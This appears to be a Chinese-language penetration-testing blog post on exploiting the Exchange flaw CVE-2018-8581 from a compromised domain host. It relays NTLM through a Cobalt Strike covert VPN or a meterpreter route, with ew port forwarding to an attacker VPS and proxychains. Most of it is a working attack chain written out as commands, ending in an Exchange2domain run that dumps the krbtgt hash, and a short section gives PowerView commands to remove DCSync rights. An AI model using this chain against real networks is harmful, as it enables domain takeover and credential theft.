Remote NTLM relaying through CS

-w944

0x00 为什么写这个?

最近在学习Exchange在提权中的应用的时候,碰到一个问题,即:如果我们现在拥有了一个内网的windows主机,如何利用这台主机使用CVE_2018_8581 ?大概的结构是这样:

-w944

攻击者通过某种方式获取一台域内主机权限。并获取了此主机的域成员账号密码,在获取DC及Exchange Server的ip地址后,利用CVE_2018_8581

0x01 利用思路

思路一:编译py版的impacket

在做这个的时候,第一想法就是有没有windows下可用的impacket,后来找了找,还真有impacket_static_binaries,于是就拿来用了。但是后来发现是有问题的。
首先,利用需要关闭win的445端口,这个就需要重启,这是我们非常不愿意做的,另外,似乎win版的ntlmrelayxsmbrelayx还不能用。

-w932

所以直接放弃了。

思路二:通过meterpreter进行NTLM relaying

这个思路是之前看到的《Remote NTLM relaying through meterpreter on Windows port 445》来的。在这篇文章里面,详细分析了是谁占用了445,如何进行转发再进行Remote NTLM relaying。利用CVE_2018_8581,我们需要两个端口,44580(80可以是其他端口,用来开启HTTP服务),但是实际测试的时候,并不顺利,成功添加路由,开启端口转发,开启 socks4a 之后,本地通过proxychains开启一个web server,在内网其他主机请求这个server的时候,并未看到任何请求(可能是姿势不对,成功的师傅还望不吝赐教)。所以通过此方式,也并没达到我期望的效果。

思路三:通过CS部署VPN

这个也是我觉得最简单的一种方式,在上面两种思路失败之后,就只能期待试用这种方式来进行了,还好,成功啦~

Cobaltstrike 的covertvpn的介绍,可以看这里

在获取到一个Becon之后,右键连接->Pivoting->Deploy VPN

-w749

之后,选择对应的内网ip

-w480

点击ADD来添加本地网口:

-w392

在这里有多种方式的隧道,可以根据自己的需要选择,默认UDP是开销最小的一种方式。添加以后,点击Deploy则可部署成功。

-w480

之后,在Interfaces中可以看到对应信息:

-w748

之后我们在VPS上配置此网口:

1
sudo ifconfig Interface CIDR

example:

1
sudo ifconfig phear5 10.211.55.225/24

前面的ip地址就是要给我们的网口配置的ip地址,相当于在域里面新接入了一台主机

之后,就可以与内网主机进行通信了。

这种方式我录了一个Demo:

Tips:部署VPN只需要普通用户权限即可。但是获取当前用户账号密码需要提权。

0x02 如何防御 CVE_2018_8581

删除域内某用户的DCSync权限,可使用 PowerView

具体命令为:

1
Remove-DomainObjectAcl -TargetIdentity "DC=cgdomain,DC=com" -PrincipalIdentity user -Rights DCSync

根据自己的实际环境进行修改

修复Exchage权限,可使用 Fix-DomainObjectDACL.ps1

具体命令为:

1
. .\Fix-DomainObjectDACL.ps1 -Fix

0x03 进一步测试

经过进一步测试以及对漏洞的原理再次学习,发现其实我们只需要开启一个web服务即可,所以,可以使用任意端口(在impacket中,HTTPRelayServer默认端口为80,Exchange2domain已支持自定义端口)。

当然,上述 思路三 对smbrelay也是非常好用的一种方式。现在补充一下 思路二 的具体利用方法。

由于我们不需要smb Server,所以也不需要向《Remote NTLM relaying through meterpreter on Windows port 445》中所述对445端口进行转发,我们只需要将web端口转发出来即可。在获取一个meterpreter会话之后,添加路由:

1
meterpreter > run post/multi/manage/autoroute

之后开启socks4a代理。

-w1006

经过测试,发现msf的portfwd不怎么稳定,所以我选择了使用ew,当然,也可以使用lcx等其他转发工具。
在vps上开启转发:

1
☁  lcx  ./ew -s lcx_tran -l 8088 -f 127.0.0.1 -g 8044

监听本地8088端口,并将数据转发到127.0.0.1的8044端口

然后在我们有权限的主机上执行:

1
C:\Users\sanfeng\Desktop>ew_for_Win.exe -s lcx_tran -l 8044 -f 103.*.*.* -g 8088

监听本地8044端口的数据,并将数据转发到103...*的8080端口。需要注意的是,有权限的主机监听端口=vps转发端口=Exchange2domain监听端口

之后,在vps上配置proxychains,ubuntu上proxychains的配置文件路径为/etc/proxychains.conf。修改代理配置文件,如下:

1
2
3
4
5
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 1080

之后,我们就可一执行Exchange2domain了:

1
proxychains python Exchange2domain.py -ah proxyip -ap 8044 -u user -p password -d domain -th DCIP ExchangeIP --just-dc-user krbtgt

注意监听端口跟上面一致,proxyip为我们有权限的主机的ip地址。

所以,整个攻击过程如下:

-w1440

希望以上对你有帮助。

0x04 参考

  1. Remote NTLM relaying through meterpreter on Windows port 445
  2. impacket_static_binaries
  3. VPN Pivoting with Cobalt Strike
------本文结束,感谢阅读------